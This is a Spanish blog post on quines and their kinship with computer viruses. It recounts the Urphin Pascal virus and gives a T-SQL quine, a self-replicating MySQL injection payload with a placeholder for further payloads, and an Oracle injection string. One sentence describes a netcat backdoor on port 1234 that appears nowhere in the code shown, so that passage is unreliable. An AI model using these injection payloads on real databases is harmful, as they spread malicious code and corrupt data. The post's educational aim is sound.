Vuelvo a la carga con otro artículo sobre los quines, que ya presenté hace un par de días en el blog, para estudiar la similitud, como ya anuncia el título de la entrada, con los virus informáticos. Una comparación que no es gratuita, y que fue lo primero que se me pasó por la cabeza cuando conocí las características de un quine.
Si la impaciencia o afán de conocimiento os hicieron ir más allá del alcance del artículo anterior e indagar un poco en el tema, bien en los enlaces recomendados que incluía en el mismo, bien realizando alguna otra búsqueda, veríais que existe una considerable cantidad de páginas que tratan el tema (sobre todo en cuanto a lo que concursos de creación de quines se refiere), aunque pocas entran en suficiente profundidad en él. Al refrescar conocimientos estos días para eswcribir estas entradas, encontré una interesante serie de artículos en español que incluyo en los enlaces recomendados de hoy. Pero veamos, en primer lugar, por qué insisto en la relación entre quines y virus.
Una de las primeras cosas que todo [interesado|aficionado | apasionado|afectado] de los virus descubre es la capacidad de propagación de éstos. Es una de las características principales de un virus: es capaz de replicarse e infectar a otras aplicaciones. Partiendo de esta premisa, tenemos que un virus es un programa que tiene la capacidad de replicarse mediante la inclusión en otros de su propio código, donde a su vez podrá nuevamente reproducirse para continuar su propagación. Por tanto, aunque no se trate exactamente de un quine (que, recordemos, reproducía como salida su propio código fuente), la similitud es tan grande que merece la pena profundizar un poco más en ella.
Si nos pertrechamos de sombrero y látigo y nos dedicamos a practicar arqueología informática, encontraremos virus que guardaban similitudes con los quines. Por ejemplo, el virus
Urphin infectaba código fuente en Pascal justo antes de ser compilado. Residente en memoria, esperaba la ejecución de TPC.EXE, el compilador de Turbo Pascal. En ese momento, incluía su propio código justo tras el BEGIN del programa, permitía el proceso de compilación y limpiaba después el código fuente .PAS de todo rastro. Así, finalizaba el proceso con un código fuente limpio y un ejecutable infectado por el virus. Como vemos, un virus de y para programadores.
Esto ocurría en tiempos remotos, cuando aún no existía un control adecuado de los procesos, que se ejecutaban en zonas compartidas de memoria. Hoy día, con modernos sistemas como Windows Vista (TM) o las últimas distros de Linux, nada de esto puede pasarnos. Además, es un método burdo y arcaico para programar virus informáticos. Nada puede pasarnos, ¿verdad? Pues la verdad es que sí. Hoy día nos encontramos rodeados de lenguajes de script e interpretados: scripts de shell en Linux, VBScript, JavaScript, Phyton, e incluso de cuarta generación, como SQL, que pueden caer víctimas de este tipo de ataque.
Si pensamos en seguridad y en SQL, inmediatamente se nos vendrá a la cabeza el método de ataque por inyección de código SQL. Pero ¿podrían existir quines en SQL? La respuesta es un rotundo sí.
[sql]SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine[/sql]
El código anterior es un quine programado en SQL. Más concretamente, en T-SQL, el SQL avanzado para bases de datos SQL Server de Microsoft. Se trata de un quine clásico, simplemente devuelve una sentencia SQL que es copia de sí misma. Pero se puede ir más allá. Estudiemos el código siguiente, esta vez preparado para bases de datos MySQL:
[sql]UPDATE ContainerContents SET OldContents='%content%' WHERE TagID='%id%'[/sql]
Se trata de una sentencia de actualización en base de datos. Simplemente actualiza un atributo de la tabla ContainerContents cuando se da una condición, que el identificador sea X. Ahora, el exploit que aprovecha la vulnerabilidad del TagID, que se presenta encerrado entre comillas, para copiar su código en el campo NewContents.
[sql]%content%' WHERE TagId='%id%';
SET @a='UPDATE ContainerContents SET NewContents=concat(\'%content%\\\' WHERE TagId=\\\'%id%\\\'; SET @a=\', QUOTE(@a), \'; \', @a); %payload%; --';
UPDATE ContainerContents SET NewContents=concat('%content%\' WHERE TagId=\'%id%\'; SET @a=', QUOTE(@a), '; ', @a); %payload%; --‘[/sql]
Vemos, en primer lugar, una línea con la parte final de la sentencia SQL original. A continuación, en otra línea, se define una variable “a”, una cadena de caracteres que incluye una sentencia de actualización además de a sí misma. Es, por tanto, el quine. Por último, en la tercera línea, se actualiza el contenido del atributo NewContents para cada registro y, junto a la actualización, se define la variable “a” con su contenido (escapamos a las comillas mediante la función QUOTE), con lo que el virus se está propagando en el sistema.
Existen quines de este tipo para cualquier sistema SQL, incluso para los más robustos (y caros) como Oracle:
[sql]Apples’, NewContents=(select SUBSTR(SQL_TEXT,43,127) FROM v$sql WHERE INSTR(SQL_TEXT,’’)>0)--[/sql]
Permite la apertura de una puerta trasera en el puerto 1234, ya que netcat abrirá un socket en nuestro servidor en modo de escucha, quedando a la espera de conexiones entrantes.
Como hemos podido comprobar, no queda tan lejano el uso de quines en el código de virus informáticos, constituyendo un riesgo real, y no sólo una teoría curiosa sobre metaprogramación. Aunque profundizaremos más adelante en este tema, en los enlaces recomendados podrás encontrar más información sobre el mismo.
No hay comentarios:
Publicar un comentario